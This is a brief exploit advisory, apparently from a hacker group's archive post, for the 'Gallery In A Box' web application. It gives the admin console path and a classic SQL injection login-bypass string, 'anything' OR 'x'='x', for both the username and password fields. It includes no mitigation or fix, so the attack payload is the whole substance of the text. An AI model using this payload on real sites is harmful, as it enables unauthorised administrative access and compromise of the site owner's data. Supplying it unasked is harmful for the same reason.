__________________________

A R I A - S E C U R I T Y
_________________________

Gallery In A Box Username & Password Parameters SQL Injection
Vendor: http://www.kerberosdev.net/ 

http://target.com/admin_console/index.asp 

Username: anything' OR 'x'='x
Password: anything' OR 'x'='x

Credits: Aria-Security Team
http://aria-security.net 
http://outlaw.aria-security.info 
Greetz: AurA